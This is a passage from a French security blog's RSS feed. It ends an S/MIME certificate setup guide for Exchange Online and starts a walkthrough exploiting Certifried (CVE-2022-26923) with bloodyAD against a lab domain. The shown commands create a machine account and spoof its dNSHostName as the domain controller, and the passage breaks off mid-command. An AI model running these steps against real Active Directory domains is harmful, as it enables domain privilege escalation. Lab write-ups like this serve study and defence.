loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard auto"
srcset="https://cravaterouge.com/media/smime/cert_install4_hu_316ffd4614e82b5a.webp 320w, https://cravaterouge.com/media/smime/cert_install4_hu_edf07c8970044b8b.webp 480w, https://cravaterouge.com/media/smime/cert_install4_hu_b4281c11f9e1037a.webp 608w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install4_hu_316ffd4614e82b5a.webp"
width="608"
height="581"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install5_hu_9916922785b5ff7c.webp 320w, https://cravaterouge.com/media/smime/cert_install5_hu_2eeb5e41f2221c0b.webp 480w, https://cravaterouge.com/media/smime/cert_install5_hu_1d8850d23ef715e3.webp 637w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install5_hu_9916922785b5ff7c.webp"
width="637"
height="587"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Une fois installé, ouvrez l&amp;rsquo;utilitaire &lt;code&gt;Gérer les certificats utilisateur&lt;/code&gt; depuis la barre de recherche Windows :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="certmgr"
srcset="https://cravaterouge.com/media/smime/cert_install6_hu_8aa5c747acc99afe.webp 320w, https://cravaterouge.com/media/smime/cert_install6_hu_6db43c579dc30336.webp 480w, https://cravaterouge.com/media/smime/cert_install6_hu_d5cdbb0ee645c86d.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install6_hu_8aa5c747acc99afe.webp"
width="760"
height="704"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Allez dans le dossier où votre certificat est installé. Cela devrait être &lt;code&gt;Personnel &amp;gt; Certificats&lt;/code&gt; :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="cert store"
srcset="https://cravaterouge.com/media/smime/cert_install7_hu_a6162c6618261870.webp 320w, https://cravaterouge.com/media/smime/cert_install7_hu_8f6cbebae5838791.webp 480w, https://cravaterouge.com/media/smime/cert_install7_hu_afb5dce5c8925454.webp 690w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install7_hu_a6162c6618261870.webp"
width="690"
height="523"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Faites un clic droit sur votre certificat et sélectionnez &lt;code&gt;Toutes les tâches &amp;gt; Exporter&lt;/code&gt; :
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export cert"
srcset="https://cravaterouge.com/media/smime/cert_install8_hu_2ef9e72bc770cedd.webp 320w, https://cravaterouge.com/media/smime/cert_install8_hu_85aa395bb0ed1339.webp 480w, https://cravaterouge.com/media/smime/cert_install8_hu_1ce15b8941d8f687.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install8_hu_2ef9e72bc770cedd.webp"
width="760"
height="463"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Suivez l&amp;rsquo;assistant pour enregistrer votre certificat au format &lt;code&gt;.der&lt;/code&gt;, vous en aurez besoin pour télécharger la clé publique sur Exchange Online plus tard.
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard"
srcset="https://cravaterouge.com/media/smime/cert_install9_hu_96ca626534e41c5.webp 320w, https://cravaterouge.com/media/smime/cert_install9_hu_b4435e37ed100fd5.webp 480w, https://cravaterouge.com/media/smime/cert_install9_hu_64c83b784351d779.webp 751w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install9_hu_96ca626534e41c5.webp"
width="751"
height="642"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard no key"
srcset="https://cravaterouge.com/media/smime/cert_install10_hu_213955dd108f921b.webp 320w, https://cravaterouge.com/media/smime/cert_install10_hu_1b8653afc53228ce.webp 480w, https://cravaterouge.com/media/smime/cert_install10_hu_12459eebbd812303.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install10_hu_213955dd108f921b.webp"
width="760"
height="569"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard der"
srcset="https://cravaterouge.com/media/smime/cert_install11_hu_5daf75ec85e582ed.webp 320w, https://cravaterouge.com/media/smime/cert_install11_hu_64945d3e2a9237ce.webp 480w, https://cravaterouge.com/media/smime/cert_install11_hu_1f28f71d210232e4.webp 752w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install11_hu_5daf75ec85e582ed.webp"
width="752"
height="612"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard location"
srcset="https://cravaterouge.com/media/smime/cert_install12_hu_5ee2f93165cea150.webp 320w, https://cravaterouge.com/media/smime/cert_install12_hu_5e1152c9af6c9f6f.webp 480w, https://cravaterouge.com/media/smime/cert_install12_hu_d1fc9c51d3141608.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install12_hu_5ee2f93165cea150.webp"
width="760"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install13_hu_72796d4e050ff08c.webp 320w, https://cravaterouge.com/media/smime/cert_install13_hu_93dcdc1bcf2396a5.webp 480w, https://cravaterouge.com/media/smime/cert_install13_hu_af6d6cbe597875a3.webp 758w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install13_hu_72796d4e050ff08c.webp"
width="758"
height="600"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="télécharger-la-chaîne-de-confiance-sur-exchange-online"&gt;Télécharger la chaîne de confiance sur Exchange Online&lt;/h2&gt;
&lt;p&gt;Contrairement à Windows, Exchange Online n&amp;rsquo;a pas d&amp;rsquo;autorités de certification préinstallées. Vous devrez y ajouter toutes les autorités de certification qui peuvent vérifier vos certificats d&amp;rsquo;utilisateur final et de contacts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ouvrez &lt;code&gt;usercrtmngr&lt;/code&gt; à nouveau et double-cliquez sur le certificat de l&amp;rsquo;utilisateur final&lt;/li&gt;
&lt;li&gt;Dans l&amp;rsquo;onglet &lt;code&gt;Chemin de certification&lt;/code&gt;, vous verrez tous les certificats vérifiant le certificat de l&amp;rsquo;utilisateur final, c&amp;rsquo;est ce qu&amp;rsquo;on appelle la chaîne de confiance&lt;/li&gt;
&lt;li&gt;Assurez-vous que tous ces certificats sont dans le même dossier ou copiez ceux qui sont en dehors dans le dossier actuel pour pouvoir les concaténer plus tard&lt;/li&gt;
&lt;li&gt;Répétez les étapes ci-dessus pour tous vos utilisateurs finaux et contacts&lt;/li&gt;
&lt;li&gt;Utilisez &lt;code&gt;ctrl+clic gauche&lt;/code&gt; pour sélectionner chaque certificat de la chaîne de confiance (s&amp;rsquo;il n&amp;rsquo;y a qu&amp;rsquo;un seul certificat dans la chaîne de confiance, incluez un autre certificat avec pour pouvoir exporter la liste au format &lt;code&gt;.sst&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Faites un clic droit sur l&amp;rsquo;un des certificats sélectionnés et sélectionnez &lt;code&gt;Toutes les tâches &amp;gt; Exporter&lt;/code&gt;, suivez l&amp;rsquo;assistant et sélectionnez le format &lt;code&gt;.sst&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;En utilisant Powershell 7 (en dessous de 7, vous aurez l&amp;rsquo;erreur &lt;code&gt;unable to find type [uint]&lt;/code&gt;) :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Install-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Import-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Connect-ExchangeOnline&lt;/span&gt; &lt;span class="n"&gt;-UserPrincipalName&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;exchangeadmin_for_yourdomain&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-SmimeConfig&lt;/span&gt; &lt;span class="n"&gt;-SMIMECertificateIssuingCA&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="no"&gt;System.IO.File&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ReadAllBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;C:\Users\Gold\Downloads\chainOfTrust.sst&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="8"&gt;
&lt;li&gt;Attendez un peu de temps pour que la modification soit propagée&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Super ! Nous avons maintenant tout ce qu&amp;rsquo;il faut pour signer et déchiffrer nos emails dans OWA, qu&amp;rsquo;en est-il du chiffrement ou de la vérification de la signature des emails ?&lt;/p&gt;
&lt;h2 id="installer-la-clé-publique-sur-exchange-online"&gt;Installer la clé publique sur Exchange Online&lt;/h2&gt;
&lt;p&gt;Cette partie n&amp;rsquo;est pas bien documentée, en particulier le cas d&amp;rsquo;utilisation pour ajouter un contact en dehors de notre Exchange Online où je n&amp;rsquo;ai trouvé aucune documentation à ce sujet, mais cela fonctionne ! Alors commençons.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Rassemblez les clés publiques de vos contacts au format DERv3 (comme mentionné à l&amp;rsquo;étape 5 de &lt;a href="#installer-votre-certificat-smime"&gt;Installer votre certificat S/MIME&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Utilisez le code powershell suivant pour concaténer chaque DERv3 en &lt;code&gt;.sst&lt;/code&gt; :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ArrayList&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cert&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Security&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Cryptography&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificate2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;DERv3&lt;/span&gt; &lt;span class="n"&gt;format&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetRawCertData&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;Si le contact appartient au même Exchange Online, utilisez la commande powershell suivante :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-Mailbox&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;Si le contact est externe à cet Exchange Online, utilisez la commande suivante :&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Utilisez cette commande si le contact n&amp;#39;est pas déjà créé&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;New-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Name&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-ExternalEmailAddress&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt;&lt;span class="nv"&gt;@cravaterouge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;Assurez-vous que le certificat a été correctement mis à jour en vérifiant que &lt;code&gt;Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate&lt;/code&gt; renvoie le même binaire que &lt;code&gt;$cert.GetRawCertData()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pour envoyer un email à ces contacts, vous devez les sélectionner dans les contacts GAL avec le nom d&amp;rsquo;identité exact que vous avez donné dans la commande powershell ci-dessus. Par exemple, pour envoyer un email à &lt;strong&gt;Baptiste&lt;/strong&gt;, je dois utiliser le contact nommé &lt;strong&gt;CravateRouge_SMIME&lt;/strong&gt; et non en tapant directement &lt;strong&gt;baptiste@cravaterouge.com&lt;/strong&gt; ou en utilisant une autre carte de contact même si elle contient la même adresse email.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="résultat"&gt;Résultat&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Vous pouvez maintenant signer chacun de vos emails pour prouver aux destinataires que vous êtes l&amp;rsquo;expéditeur original et déchiffrer les emails qui vous sont envoyés
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="sign everything"
srcset="https://cravaterouge.com/media/smime/sign_everything_hu_37848f5a8107ccaf.webp 320w, https://cravaterouge.com/media/smime/sign_everything_hu_9bb4d636e83725ab.webp 480w, https://cravaterouge.com/media/smime/sign_everything_hu_74890d2237cb7bee.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/sign_everything_hu_37848f5a8107ccaf.webp"
width="760"
height="509"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Et vous pouvez également chiffrer/vérifier les emails des contacts que vous avez ajoutés à Exchange Online
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encrypt selected"
srcset="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_cb0a520fcfbeafd5.webp 320w, https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_51e9d68f0935ed19.webp 423w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_cb0a520fcfbeafd5.webp"
width="423"
height="470"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="callout flex px-4 py-3 mb-6 rounded-md border-l-4 bg-blue-100 dark:bg-blue-900 border-blue-500"
data-callout="note"
data-callout-metadata=""&gt;
&lt;span class="callout-icon pr-3 pt-1 text-blue-600 dark:text-blue-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m16.862 4.487l1.687-1.688a1.875 1.875 0 1 1 2.652 2.652L6.832 19.82a4.5 4.5 0 0 1-1.897 1.13l-2.685.8l.8-2.685a4.5 4.5 0 0 1 1.13-1.897zm0 0L19.5 7.125"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;div class="callout-content dark:text-neutral-300"&gt;
&lt;div class="callout-title font-semibold mb-1"&gt;Note&lt;/div&gt;
&lt;div class="callout-body"&gt;&lt;p&gt;Même si tout fonctionne bien, vous pouvez toujours avoir un message d&amp;rsquo;erreur lors de l&amp;rsquo;envoi de messages chiffrés à des clients externes. Ne vous inquiétez pas, c&amp;rsquo;est juste un bug de Microsoft car cette fonctionnalité n&amp;rsquo;est pas encore bien prise en charge.
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encryption error"
srcset="https://cravaterouge.com/media/smime/error_encrypted_hu_4f74c78b220dabe1.webp 320w, https://cravaterouge.com/media/smime/error_encrypted_hu_ae3fd34d6cdfa9fa.webp 480w, https://cravaterouge.com/media/smime/error_encrypted_hu_477ab9a9ffb6b5ff.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/error_encrypted_hu_4f74c78b220dabe1.webp"
width="760"
height="228"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/p&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Exploitation de Certifried (CVE-2022-26923)</title><link>https://cravaterouge.com/fr/articles/ad-certifried/</link><pubDate>Sat, 11 May 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/ad-certifried/</guid><description>&lt;p&gt;Une nouvelle élévation de privilège est sortie: Certifried (CVE-2022-26923) avec ce &lt;a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4" target="_blank" rel="noopener"&gt;billet de blog&lt;/a&gt; après que Microsoft l&amp;rsquo;ait patché.
Voici un exemple de comment exploiter cette vulnérabilité avec &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; sans utiliser PKINIT.&lt;/p&gt;
&lt;h2 id="linux"&gt;Linux&lt;/h2&gt;
&lt;p&gt;On a besoin d&amp;rsquo;une machine, soit on en compromet une ou alors on en crée une si &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt;&amp;gt;0:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;ms-DS&lt;/span&gt;&lt;span class="n"&gt;-MachineAccountQuota&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;ms-DS&lt;/span&gt;&lt;span class="n"&gt;-MachineAccountQuota:&lt;/span&gt; &lt;span class="mf"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On crée un objet machine &lt;code&gt;cve&lt;/code&gt; dans le LDAP:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;addComputer&lt;/span&gt; &lt;span class="n"&gt;cve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CVEPassword1234*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;cve&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ensuite on change l&amp;rsquo;attribut &lt;code&gt;dNSHostName&lt;/code&gt; (vide quand on crée l&amp;rsquo;objet) pour qu&amp;rsquo;il corresponde au nom de machine du contrôleur de domaine: &lt;code&gt;CRASHDC.crashlab.local&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=cve,CN=Computers,DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;dNSHostName&lt;/span&gt; &lt;span class="n"&gt;-v&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
